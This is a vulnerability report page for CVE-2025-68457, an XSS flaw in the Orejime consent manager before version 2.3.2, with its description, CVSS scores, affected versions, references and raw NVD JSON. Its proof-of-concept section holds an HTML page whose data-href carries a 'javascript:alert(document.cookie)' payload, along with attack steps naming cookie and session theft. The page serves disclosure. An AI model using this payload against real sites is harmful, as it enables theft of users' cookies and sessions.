Security Vulnerability Report
中文
CVE-2025-68457 CVSS 6.1 MEDIUM

CVE-2025-68457

Published: 2025-12-19 17:15:53
Last Modified: 2026-01-13 17:15:59

Description

Orejime is a consent manager that focuses on accessibility. On HTML elements handled by Orejime prior to version 2.3.2, one could run malicious code by embedding `javascript:` code within data attributes. When consenting to the related purpose, Orejime would turn data attributes into unprefixed ones (i.e. `data-href` into `href`), thus executing the code. This shouldn't have any impact on most setups, as elements handled by Orejime are generally hardcoded. The problem would only arise if somebody could inject HTML code within pages. The problem has been patched in version 2.3.2. As a workaround, the problem can be fixed outside of Orejime by sanitizing attributes which could contain executable code.

CVSS Details

CVSS Score
6.1
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N

Configurations (Affected Products)

cpe:2.3:a:boscop:orejime:*:*:*:*:*:node.js:*:* - VULNERABLE
Orejime < 2.3.2

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
<!-- PoC for CVE-2025-68457: Orejime data attribute XSS --> <!-- This PoC demonstrates how malicious javascript: code in data attributes can be executed --> <!DOCTYPE html> <html> <head> <title>CVE-2025-68457 PoC</title> <!-- Load vulnerable version of Orejime (< 2.3.2) --> <script src="https://cdn.jsdelivr.net/npm/[email protected]/dist/orejime.js"></script> </head> <body> <!-- Inject malicious HTML with data attribute containing javascript: code --> <!-- When user consents, Orejime converts data-href to href, executing the JS --> <div class="orejime-App" data-config="config"> <a href="https://legitimate-site.com" data-href="javascript:alert(document.cookie)" data-orejime="marketing"> Click me (malicious payload in data-href) </a> </div> <script> // Orejime configuration var config = { apps: [ { name: "marketing", title: "Marketing Cookies", cookies: ["marketing_*"], required: false } ] }; // Initialize Orejime window.orejimeConfig = config; </script> <!-- Attack Steps: 1. Attacker injects HTML with malicious data-href containing javascript: code 2. User visits the page and sees Orejime consent manager 3. User clicks to consent to 'marketing' purpose 4. Orejime converts data-href to href, making it: href="javascript:alert(document.cookie)" 5. Clicking the link executes the injected JavaScript code 6. Attacker can steal cookies, session tokens, or perform other malicious actions Fix: Upgrade to Orejime >= 2.3.2 --> </script> </body> </html>

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-68457", "sourceIdentifier": "[email protected]", "published": "2025-12-19T17:15:53.393", "lastModified": "2026-01-13T17:15:59.040", "vulnStatus": "Modified", "cveTags": [], "descriptions": [{"lang": "en", "value": "Orejime is a consent manager that focuses on accessibility. On HTML elements handled by Orejime prior to version 2.3.2, one could run malicious code by embedding `javascript:` code within data attributes. When consenting to the related purpose, Orejime would turn data attributes into unprefixed ones (i.e. `data-href` into `href`), thus executing the code. This shouldn't have any impact on most setups, as elements handled by Orejime are generally hardcoded. The problem would only arise if somebody could inject HTML code within pages. The problem has been patched in version 2.3.2. As a workaround, the problem can be fixed outside of Orejime by sanitizing attributes which could contain executable code."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:P/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N/E:U/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 0.6, "baseSeverity": "LOW", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "PRESENT", "privilegesRequired": "NONE", "userInteraction": "PASSIVE", "vulnConfidentialityImpact": "NONE", "vulnIntegrityImpact": "NONE", "vulnAvailabilityImpact": "NONE", "subConfidentialityImpact": "LOW", "subIntegrityImpact": "LOW", "subAvailabilityImpact": "NONE", "exploitMaturity": "UNREPORTED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N", "baseScore": 6.1, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:boscop:orejime:*:*:*:*:*:node.js:*:*", "versionEndExcluding": "2.3.2", "matchCriteriaId": "06B66BE4-1528-4C51-8CB6-ABDC27E2BF50"}]}]}], "references": [{"url": "https://github.com/boscop-fr/orejime/issues/142", "source": "[email protected]", "tags": ["Issue Tracking"]}, {"url": "https://github.com/boscop-fr/orejime/pull/143", "source": "[email protected]", "tags": ["Issue Tracking", "Patch", "Vendor Advisory"]}, {"url": "https://github.com/boscop-fr/orejime/security/advisories/GHSA-72mh-hgpm-6384", "source": "[email protected]", "tags": ["Third Party Advisory"]}]}}